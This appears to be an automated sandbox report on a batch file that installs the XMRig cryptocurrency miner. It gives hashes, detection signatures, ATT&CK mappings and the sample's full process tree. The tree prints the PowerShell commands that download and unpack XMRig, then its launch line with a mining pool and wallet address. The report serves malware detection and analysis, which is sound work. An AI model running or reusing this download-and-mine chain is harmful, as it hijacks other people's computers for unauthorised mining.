xmrig | c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

max time kernel
316s
max time network
1801s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
20/05/2024, 17:09

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General

Target
3.bat
Size 599B
Sample240520-vpdapsag41
SHA256 f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
MD5 798b979417aa88e5323ead9be2d8425c
SHA1 a54c5133c71afddf697f302b36bdb930c72852ce
SHA512 a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b
MD5 SHA1 SHA512

Score

10^/10

xmrig execution miner

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral9/files/0x000700000001ac52-115.dat	family_xmrig
behavioral9/files/0x000700000001ac52-115.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	2880	powershell.exe
4	2880	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4424	xmrig.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2880	powershell.exe
4184	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe
4184	powershell.exe
4184	powershell.exe
4184	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	4184	powershell.exe
Token: SeLockMemoryPrivilege	4424	xmrig.exe
Token: SeLockMemoryPrivilege	4424	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4424	xmrig.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 512 wrote to memory of 2880	512	cmd.exe	74
PID 512 wrote to memory of 2880	512	cmd.exe	74
PID 512 wrote to memory of 4184	512	cmd.exe	75
PID 512 wrote to memory of 4184	512	cmd.exe	75
PID 512 wrote to memory of 4424	512	cmd.exe	76
PID 512 wrote to memory of 4424	512	cmd.exe	76

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4184
- C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
  xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:4424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
MD5 56efdb5a0f10b5eece165de4f8c9d799
SHA1 fa5de7ca343b018c3bfeab692545eb544c244e16
SHA512 91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b6056dc8c10ecda60fd40f090195436a75441737e7f77543b26dfbc148084452
MD5 f697cc991047b3f4e69997d96fe84100
SHA1 c7be72b4514f456054cf0b732a719ba07efa49aa
SHA512 cf65987d729101552df8b2763080a0b153e874145a1cd5314bd6c108adddbe5a8310021069850b1f3b32e351acd2d8864a703173819ea21ac58f19b9dfe1c36e
MD5 SHA1 SHA512

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__PSScriptPolicyTest_wsv3us3c.q24.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wsv3us3c.q24.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

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xmrig-6.21.3-msvc-win64.zip

Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3-msvc-win64.zip
Size 2.5MB
SHA256 713263085499ae626a6148fab67932c9a69611b21ac3d04cf52a5e23495f902e
MD5 cef0ae1ab544e40b659261a4e07fe48f
SHA1 e5ff855ce3c7726a50eb50a634ff9f406b3df093
SHA512 1fb23b385e6cff3653f0b4b397d092c7be4df62899c97e18f675df2024e5f06ef2596fb626b85ae2ef7d7583c5bf54b00dba1a5ad566c2707a669a48d9814ba8
SSDEEP 49152:rJxDbkXsjK43dt9au7odVFK+5akAC3UBGQhGQsdla3P2fpepBqYeu7evE1f3N:z/kIK4N3a3dTd5akKBGQhGQsdKP2fpe3
MD5 SHA1 SHA512 SSDEEP

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xmrig.exe

Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
Size 6.1MB
SHA256 e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0
MD5 c0f8959614ae06561216158d78a787e5
SHA1 73167d1fd0cee1c96a6505606d21cbfe4369eb00
SHA512 a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746
SSDEEP 98304:AwHlVzThdquIJ3mH6KfTSr2tJCkN3dOauqMAC2Taf43TZquOE2:fVz5CkN3dXuq9Taf4jLt2
MD5 SHA1 SHA512 SSDEEP

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memory/2880-5-0x00000284BD5F0000-0x00000284BD612000-memory.dmp

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memory/2880-8-0x00007FFE943D0000-0x00007FFE94DBC000-memory.dmp

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memory/2880-9-0x00000284BD8B0000-0x00000284BD926000-memory.dmp

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memory/2880-10-0x00007FFE943D0000-0x00007FFE94DBC000-memory.dmp

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memory/2880-25-0x00007FFE943D0000-0x00007FFE94DBC000-memory.dmp

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memory/2880-30-0x00007FFE943D0000-0x00007FFE94DBC000-memory.dmp

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memory/2880-0-0x00007FFE943D3000-0x00007FFE943D4000-memory.dmp

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memory/4184-37-0x00007FFE943D0000-0x00007FFE94DBC000-memory.dmp

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memory/4184-63-0x00007FFE943D0000-0x00007FFE94DBC000-memory.dmp

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memory/4184-76-0x00000201A9730000-0x00000201A9742000-memory.dmp

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memory/4184-89-0x00000201A9710000-0x00000201A971A000-memory.dmp

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memory/4184-38-0x00007FFE943D0000-0x00007FFE94DBC000-memory.dmp

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memory/4184-113-0x00007FFE943D0000-0x00007FFE94DBC000-memory.dmp

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memory/4184-36-0x00007FFE943D0000-0x00007FFE94DBC000-memory.dmp

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memory/4424-117-0x000001BFF46F0000-0x000001BFF4710000-memory.dmp

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